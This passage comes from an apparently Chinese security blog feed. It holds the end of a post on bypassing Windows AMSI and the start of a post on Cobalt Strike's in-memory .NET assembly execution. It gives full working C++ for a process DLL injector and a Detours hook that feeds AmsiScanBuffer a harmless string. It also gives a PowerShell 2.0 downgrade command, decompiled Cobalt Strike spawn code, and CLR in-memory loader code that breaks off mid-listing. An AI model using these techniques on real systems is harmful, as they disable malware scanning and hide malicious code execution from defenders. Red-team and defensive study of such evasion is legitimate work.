title="DLL注入"></a>DLL注入</h4><p>我们将要做的是创建一个基本的注射器,然后把dll注入到PowerShell(或插入程序使用AMSI的程序)进程中来对AmsiscanBuffer进行hook。下面的代码引自:<a href="https://github.com/tomcarver16/SimpleInjector">https://github.com/tomcarver16/SimpleInjector</a></p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><iostream></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><windows.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><TlHelp32.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">//Opens a handle to process then write to process with LoadLibraryA and execute thread</span></span><br><span class="line"><span class="function">BOOL <span class="title">InjectDll</span><span class="params">(DWORD procID, <span class="keyword">char</span>* dllName)</span> </span>{</span><br><span class="line"> <span class="keyword">char</span> fullDllName[MAX_PATH];</span><br><span class="line"> LPVOID loadLibrary;</span><br><span class="line"> LPVOID remoteString;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (procID == <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">return</span> FALSE;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> HANDLE hProc = <span class="built_in">OpenProcess</span>(PROCESS_ALL_ACCESS, FALSE, procID);</span><br><span class="line"> <span class="keyword">if</span> (hProc == INVALID_HANDLE_VALUE) {</span><br><span class="line"> <span class="keyword">return</span> FALSE;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">GetFullPathNameA</span>(dllName, MAX_PATH, fullDllName, <span class="literal">NULL</span>);</span><br><span class="line"> std::cout << <span class="string">"[+] Aquired full DLL path: "</span> << fullDllName << std::endl;</span><br><span class="line"></span><br><span class="line"> loadLibrary = (LPVOID)<span class="built_in">GetProcAddress</span>(<span class="built_in">GetModuleHandle</span>(<span class="string">"kernel32.dll"</span>), <span class="string">"LoadLibraryA"</span>);</span><br><span class="line"> remoteString = <span class="built_in">VirtualAllocEx</span>(hProc, <span class="literal">NULL</span>, <span class="built_in">strlen</span>(fullDllName), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">WriteProcessMemory</span>(hProc, remoteString, fullDllName, <span class="built_in">strlen</span>(fullDllName), <span class="literal">NULL</span>);</span><br><span class="line"> <span class="built_in">CreateRemoteThread</span>(hProc, <span class="literal">NULL</span>, <span class="literal">NULL</span>, (LPTHREAD_START_ROUTINE)loadLibrary, (LPVOID)remoteString, <span class="literal">NULL</span>, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">CloseHandle</span>(hProc);</span><br><span class="line"> <span class="keyword">return</span> TRUE;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//Iterate all process until the name we're searching for matches</span></span><br><span class="line"><span class="comment">//Then return the process ID</span></span><br><span class="line"><span class="function">DWORD <span class="title">GetProcIDByName</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span>* procName)</span> </span>{</span><br><span class="line"> HANDLE hSnap;</span><br><span class="line"> BOOL done;</span><br><span class="line"> PROCESSENTRY32 procEntry;</span><br><span class="line"> </span><br><span class="line"> <span class="built_in">ZeroMemory</span>(&procEntry, <span class="built_in"><span class="keyword">sizeof</span></span>(PROCESSENTRY32));</span><br><span class="line"> procEntry.dwSize = <span class="built_in"><span class="keyword">sizeof</span></span>(PROCESSENTRY32);</span><br><span class="line"></span><br><span class="line"> hSnap = <span class="built_in">CreateToolhelp32Snapshot</span>(TH32CS_SNAPPROCESS, <span class="number">0</span>);</span><br><span class="line"> done = <span class="built_in">Process32First</span>(hSnap, &procEntry);</span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> <span class="keyword">if</span> (_strnicmp(procEntry.szExeFile, procName, <span class="built_in"><span class="keyword">sizeof</span></span>(procEntry.szExeFile)) == <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">return</span> procEntry.th32ProcessID;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">while</span> (<span class="built_in">Process32Next</span>(hSnap, &procEntry));</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span>** argv)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">char</span>* processName = argv[<span class="number">1</span>];</span><br><span class="line"> <span class="keyword">char</span>* dllName = argv[<span class="number">2</span>];</span><br><span class="line"> DWORD procID = <span class="built_in">GetProcIDByName</span>(processName);</span><br><span class="line"> std::cout << <span class="string">"[+] Got process ID for "</span> << processName << <span class="string">" PID: "</span> << procID << std::endl;</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">InjectDll</span>(procID, dllName)) {</span><br><span class="line"> std::cout << <span class="string">"DLL now injected!"</span> << std::endl;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> std::cout << <span class="string">"DLL couldn't be injected"</span> << std::endl;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>现在我们有一个可用的注入器,所以接下来我们要做的就是把我们的可执行文件从早期的exe格式转换成一个dll。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><Windows.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><detours.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><amsi.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><iostream></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> comment(lib, <span class="meta-string">"amsi.lib"</span>)</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> SAFE <span class="meta-string">"SafeString"</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="title">HRESULT</span><span class="params">(WINAPI* OriginalAmsiScanBuffer)</span><span class="params">(HAMSICONTEXT amsiContext,</span></span></span><br><span class="line"><span class="function"><span class="params"> PVOID buffer, ULONG length,</span></span></span><br><span class="line"><span class="function"><span class="params"> LPCWSTR contentName,</span></span></span><br><span class="line"><span class="function"><span class="params"> HAMSISESSION amsiSession,</span></span></span><br><span class="line"><span class="function"><span class="params"> AMSI_RESULT* result)</span> </span>= AmsiScanBuffer;</span><br><span class="line"></span><br><span class="line"><span class="comment">//Our user controlled AmsiScanBuffer</span></span><br><span class="line">__declspec(dllexport) HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,</span><br><span class="line"> PVOID buffer, ULONG length,</span><br><span class="line"> LPCWSTR contentName,</span><br><span class="line"> HAMSISESSION amsiSession,</span><br><span class="line"> AMSI_RESULT* result) {</span><br><span class="line"></span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">cout</span> << <span class="string">"[+] AmsiScanBuffer called"</span> << <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">cout</span> << <span class="string">"[+] Buffer "</span> << buffer << <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">cout</span> << <span class="string">"[+] Buffer Length "</span> << length << <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"> <span class="keyword">return</span> OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function">BOOL APIENTRY <span class="title">DllMain</span><span class="params">(HMODULE hModule,</span></span></span><br><span class="line"><span class="function"><span class="params"> DWORD dwReason,</span></span></span><br><span class="line"><span class="function"><span class="params"> LPVOID lpReserved</span></span></span><br><span class="line"><span class="function"><span class="params">)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">if</span> (DetourIsHelperProcess()) {</span><br><span class="line"> <span class="keyword">return</span> TRUE;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (dwReason == DLL_PROCESS_ATTACH) {</span><br><span class="line"> AllocConsole();</span><br><span class="line"> freopen_s((FILE**)<span class="built_in">stdout</span>, <span class="string">"CONOUT$"</span>, <span class="string">"w"</span>, <span class="built_in">stdout</span>);</span><br><span class="line"></span><br><span class="line"> DetourRestoreAfterWith();</span><br><span class="line"> DetourTransactionBegin();</span><br><span class="line"> DetourUpdateThread(GetCurrentThread());</span><br><span class="line"></span><br><span class="line"> DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);</span><br><span class="line"> DetourTransactionCommit();</span><br><span class="line"></span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (dwReason == DLL_PROCESS_DETACH) {</span><br><span class="line"> DetourTransactionBegin();</span><br><span class="line"> DetourUpdateThread(GetCurrentThread());</span><br><span class="line"> DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);</span><br><span class="line"> DetourTransactionCommit();</span><br><span class="line"> FreeConsole();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> TRUE;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>使用注射器将我们的dll注入到powershell.exe的进程中</p><p><img src="Bypass-AMSI.assets/image-20220216183933698.png" alt="image-20220216183933698"></p><p>再次执行敏感字符串,发现已经成功bypass</p><p><img src="Bypass-AMSI.assets/image-20220216184038197.png" alt="image-20220216184038197"></p><p>使用调试器查看进程加载的模块,可以看到bypassamsidll.dll已经注入到powershell的进程中了。</p><p><img src="Bypass-AMSI.assets/image-20220216184310242.png" alt="image-20220216184310242"></p><p>查看AmsiScanBuffer的入口地址可以看到开始的命令已经被jmp 命令覆盖。</p><p><img src="Bypass-AMSI.assets/image-20220216184421063.png" alt="image-20220216184421063"></p><p>继续运行,等到程序重新跳转回AmsiScanBuffer时,rdx(第二个参数)的内容已经变成了“SafeString”,AMSI并没有接收到真正的字符串,因此AMSI也通过这种方法绕过去了。</p><p><img src="Bypass-AMSI.assets/image-20220216185748940.png" alt="image-20220216185748940"></p><h3 id="降低powershell版本"><a href="#降低powershell版本" class="headerlink" title="降低powershell版本"></a>降低powershell版本</h3><p>将powershell版本降到2.0,就能够规避amsi,因为在低版本的powershell中还没有加入amsi。使用下面的命令就可以切换powershell的版本为2.0。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">powershell.exe -version 2</span><br></pre></td></tr></table></figure><p>可以看到,切换到2.0版本后便绕过了AMSI</p><p><img src="Bypass-AMSI.assets/image-20220215154326587.png" alt="image-20220215154326587"></p><p>PowerShell 2.0 集成在 Windows 7 和 Windows 服务器 2008 R2 以上的所有版本中,但是由于PowerShell 2.0 运行所需的 .NET Framework版本未必已经安装,所以可能会出现如下提示。</p><p><img src="Bypass-AMSI.assets/image-20220215154059390.png" alt="image-20220215154059390"></p><h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><p><a href="https://xz.aliyun.com/t/10437#toc-7">https://xz.aliyun.com/t/10437#toc-7</a></p><p><a href="https://idiotc4t.com/defense-evasion/memory-pacth-bypass-amsi">https://idiotc4t.com/defense-evasion/memory-pacth-bypass-amsi</a></p><p><a href="https://x64sec.sh/understanding-and-bypassing-amsi/">https://x64sec.sh/understanding-and-bypassing-amsi/</a></p>]]></content>
<tags>
<tag> AMSI </tag>
</tags>
</entry>
<entry>
<title>.net程序集内存加载执行技术</title>
<link href="2022/02/09/net%E7%A8%8B%E5%BA%8F%E9%9B%86%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BD%E6%89%A7%E8%A1%8C%E6%8A%80%E6%9C%AF/"/>
<url>2022/02/09/net%E7%A8%8B%E5%BA%8F%E9%9B%86%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BD%E6%89%A7%E8%A1%8C%E6%8A%80%E6%9C%AF/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Cobalt Strike 从3.11开始增加了一个叫“execute-assembly”的命令,这个命令能够从内存中直接加载.net程序集执行。由于没有文件落地,十分隐蔽,在实战当中应用非常广泛。本文会对Cobalt Strike的execute-assembly命令的执行过程进行分析,并且结合现有的开源项目对此技术的原理进行简单介绍。</p><h2 id="基础知识"><a href="#基础知识" class="headerlink" title="基础知识"></a>基础知识</h2><h3 id="1-CLR"><a href="#1-CLR" class="headerlink" title="1.CLR"></a>1.CLR</h3><p>全称Common Language Runtime(公共语言运行时),是一个可由多种编程语言使用的运行环境</p><p>CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行:</p><ul><li>在CLR监视之下运行的程序属于”托管的”(managed)代码</li><li>不在CLR之下、直接在裸机上运行的应用或者组件属于”非托管的”(unmanaged)的代码</li></ul><h3 id="2-Unmanaged-API"><a href="#2-Unmanaged-API" class="headerlink" title="2.Unmanaged API"></a>2.Unmanaged API</h3><p>参考资料:</p><p><a href="https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/">https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/</a></p><p>用于将.NET 程序集加载到任意程序中的API</p><p>支持两种接口:</p><ul><li>ICorRuntimeHost Interface</li><li>ICLRRuntimeHost Interface</li></ul><h3 id="3-ICorRuntimeHost-Interface"><a href="#3-ICorRuntimeHost-Interface" class="headerlink" title="3.ICorRuntimeHost Interface"></a>3.ICorRuntimeHost Interface</h3><p>参考资料:</p><p><a href="https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-interface">https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-interface</a></p><p>支持v1.0.3705, v1.1.4322, v2.0.50727和v4.0.30319</p><h3 id="4-ICLRRuntimeHost-Interface"><a href="#4-ICLRRuntimeHost-Interface" class="headerlink" title="4.ICLRRuntimeHost Interface"></a>4.ICLRRuntimeHost Interface</h3><p>参考资料:</p><p><a href="https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface">https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface</a></p><p>支持v2.0.50727和v4.0.30319</p><p>在.NET Framework 2.0中,ICLRRuntimeHost用于取代ICorRuntimeHost</p><p>在实际程序开发中,很少会考虑.NET Framework 1.0,所以两个接口都可以使用</p><h2 id="CS内存执行流程分析"><a href="#CS内存执行流程分析" class="headerlink" title="CS内存执行流程分析"></a>CS内存执行流程分析</h2><p>在Cobalt Strike的代码中找到BeaconConsole.java文件,定位到“execute-assembly”命令处。通过简单分析这段代码可以知道,当解析到用户执行“execute-assembly”命令后,会先验证”pZ“和”F“关键字来判断要执行的.net程序集是否带有参数(具体如何判断请查看CommandParser类)。判断完成使用CommandParser类的popstring方法将execute-assembly的参数赋值给变量,然后调用ExecuteAssembly方法执行程序集。</p><p><img src="net%E7%A8%8B%E5%BA%8F%E9%9B%86%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BD%E6%89%A7%E8%A1%8C%E6%8A%80%E6%9C%AF.assets/image-20220114182430780-16443915545351.png" alt="image-20220114182430780"></p><p>我们继续跟进ExecuteAssembly方法,ExecuteAssembly方法有两个参数,第一个参数为待执行的.net程序集路径,第二个参数为.net程序集执行需要的参数。执行这个方法时先将要执行的.net程序集从硬盘读取并加载到PE解析器(PEParser)中,随后判断加载的PE文件是否为.net程序集,如果是.net程序集则创建ExecuteAssemblyJob实例并调用spawn方法。</p><p><img src="net%E7%A8%8B%E5%BA%8F%E9%9B%86%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BD%E6%89%A7%E8%A1%8C%E6%8A%80%E6%9C%AF.assets/image-20220114182256752.png" alt="image-20220114182256752"></p><p>接下来进入spawn方法,可以看到是通过反射DLL的方法,将invokeassembly.dll注入到进程当中,并且设置任务号为70(x86版本)或者71(x64)。注入的invokeassembly.dll在其内存中创建CLR环境,然后通过管道再将C#可执行文件读取到内存中,最后执行。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">spawn</span><span class="params">(String var1)</span> </span>{</span><br><span class="line"> <span class="keyword">byte</span>[] var2 = <span class="keyword">this</span>.getDLLContent();</span><br><span class="line"> <span class="keyword">int</span> var3 = ReflectiveDLL.findReflectiveLoader(var2);</span><br><span class="line"> <span class="keyword">if</span> (var3 <= <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">this</span>.tasker.error(<span class="string">"Could not find reflective loader in "</span> + <span class="keyword">this</span>.getDLLName());</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">if</span> (ReflectiveDLL.is64(var2)) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.ignoreToken()) {</span><br><span class="line"> <span class="keyword">this</span>.builder.setCommand(<span class="number">71</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">this</span>.builder.setCommand(<span class="number">88</span>);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (<span class="keyword">this</span>.ignoreToken()) {</span><br><span class="line"> <span class="keyword">this</span>.builder.setCommand(<span class="number">70</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">this</span>.builder.setCommand(<span class="number">87</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> var2 = <span class="keyword">this</span>.fix(var2);</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.tasker.obfuscatePostEx()) {</span><br><span class="line"> var2 = <span class="keyword">this</span>._obfuscate(var2);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> var2 = <span class="keyword">this</span>.setupSmartInject(var2);</span><br><span class="line"> <span class="keyword">byte</span>[] var4 = <span class="keyword">this</span>.getArgument();</span><br><span class="line"> <span class="keyword">this</span>.builder.addShort(<span class="keyword">this</span>.getCallbackType());</span><br><span class="line"> <span class="keyword">this</span>.builder.addShort(<span class="keyword">this</span>.getWaitTime());</span><br><span class="line"> <span class="keyword">this</span>.builder.addInteger(var3);</span><br><span class="line"> <span class="keyword">this</span>.builder.addLengthAndString(<span class="keyword">this</span>.getShortDescription());</span><br><span class="line"> <span class="keyword">this</span>.builder.addInteger(var4.length);</span><br><span class="line"> <span class="keyword">this</span>.builder.addString(var4);</span><br><span class="line"> <span class="keyword">this</span>.builder.addString(var2);</span><br><span class="line"> <span class="keyword">byte</span>[] var5 = <span class="keyword">this</span>.builder.build();</span><br><span class="line"> <span class="keyword">this</span>.tasker.task(var1, var5, <span class="keyword">this</span>.getDescription(), <span class="keyword">this</span>.getTactic());</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p><img src="net%E7%A8%8B%E5%BA%8F%E9%9B%86%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BD%E6%89%A7%E8%A1%8C%E6%8A%80%E6%9C%AF.assets/image-20220209135538841.png" alt="image-20220209135538841"></p><p><img src="net%E7%A8%8B%E5%BA%8F%E9%9B%86%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BD%E6%89%A7%E8%A1%8C%E6%8A%80%E6%9C%AF.assets/image-20220117192352767.png" alt="image-20220117192352767"></p><p>总结一下,Cobalt Strike内存加载执行.net程序集大概的过程就是,首先spawn一个进程并传输invokeassembly.dll注入到该进程,invokeassembly.dll实现了在其内存中创建CLR环境,然后通过管道再将C#可执行文件读取到内存中,最后执行。</p><h2 id="net程序集内存加载执行"><a href="#net程序集内存加载执行" class="headerlink" title=".net程序集内存加载执行"></a>.net程序集内存加载执行</h2><h3 id="内存加载执行流程"><a href="#内存加载执行流程" class="headerlink" title="内存加载执行流程"></a>内存加载执行流程</h3><ol><li>初始化ICLRMetaHost接口。</li><li>通过ICLRMetaHost获取ICLRRuntimeInfo接口。</li><li>通过ICLRRuntimeInfo将 CLR 加载到当前进程并返回运行时接口ICLRRuntimeHost指针。</li><li>通过ICLRRuntimeHost.Start()初始化CLR。</li><li>通过ICLRRuntimeHost获取AppDomain接口指针。</li><li>通过AppDomain接口的QueryInterface方法来查询默认应用程序域的实例指针。</li><li>通过默认应用程序域实例的Load_3方法加载安全.net程序集数组,并返回Assembly的实例对象指针。</li><li>通过Assembly实例对象的get_EntryPoint方法获取描述入口点的MethodInfo实例对象。</li><li>创建参数安全数组</li><li>通过描述入口点的MethodInfo实例对象的Invoke方法执行入口点。</li></ol><h3 id="代码实现"><a href="#代码实现" class="headerlink" title="代码实现"></a>代码实现</h3><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><tchar.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><metahost.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> comment(lib, <span class="meta-string">"mscoree.lib"</span>)</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#import <span class="meta-string"><mscorlib.tlb></span> raw_interfaces_only\</span></span><br><span class="line"> <span class="built_in">high_property_prefixes</span>(<span class="string">"_get"</span>,<span class="string">"_put"</span>,<span class="string">"_putref"</span>)\</span><br><span class="line"> <span class="built_in">rename</span>(<span class="string">"ReportEvent"</span>, <span class="string">"InteropServices_ReportEvent"</span>)\</span><br><span class="line"><span class="built_in">rename</span>(<span class="string">"or"</span>, <span class="string">"InteropServices_or"</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> mscorlib;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> ASSEMBLY_LENGTH 8192</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> dotnetRaw[ASSEMBLY_LENGTH] =</span><br><span class="line"><span class="string">"\x4d\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00..."</span>;<span class="comment">//.net程序集字节数组</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> _tmain(<span class="keyword">int</span> argc, _TCHAR* argv[])</span><br><span class="line">{</span><br><span class="line"></span><br><span class="line">ICLRMetaHost* iMetaHost = <span class="literal">NULL</span>;</span><br><span class="line">ICLRRuntimeInfo* iRuntimeInfo = <span class="literal">NULL</span>;</span><br><span class="line">ICorRuntimeHost* iRuntimeHost = <span class="literal">NULL</span>;</span><br><span class="line">IUnknownPtr pAppDomain = <span class="literal">NULL</span>;</span><br><span class="line">_AppDomainPtr pDefaultAppDomain = <span class="literal">NULL</span>;</span><br><span class="line">_AssemblyPtr pAssembly = <span class="literal">NULL</span>;</span><br><span class="line">_MethodInfoPtr pMethodInfo = <span class="literal">NULL</span>;</span><br><span class="line"> <span class="comment">// 定义SAFEARRAYBOUND结构体,设置维度为1</span></span><br><span class="line">SAFEARRAYBOUND saBound[<span class="number">1</span>];</span><br><span class="line"><span class="keyword">void</span>* pData = <span class="literal">NULL</span>;</span><br><span class="line">VARIANT vRet;</span><br><span class="line">VARIANT vObj;</span><br><span class="line">VARIANT vPsa;</span><br><span class="line">SAFEARRAY* args = <span class="literal">NULL</span>;</span><br><span class="line"><span class="comment">// 初始化ICLRMetaHost接口。</span></span><br><span class="line"><span class="built_in">CLRCreateInstance</span>(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&iMetaHost);</span><br><span class="line"> <span class="comment">// 通过ICLRMetaHost获取ICLRRuntimeInfo接口。</span></span><br><span class="line">iMetaHost-><span 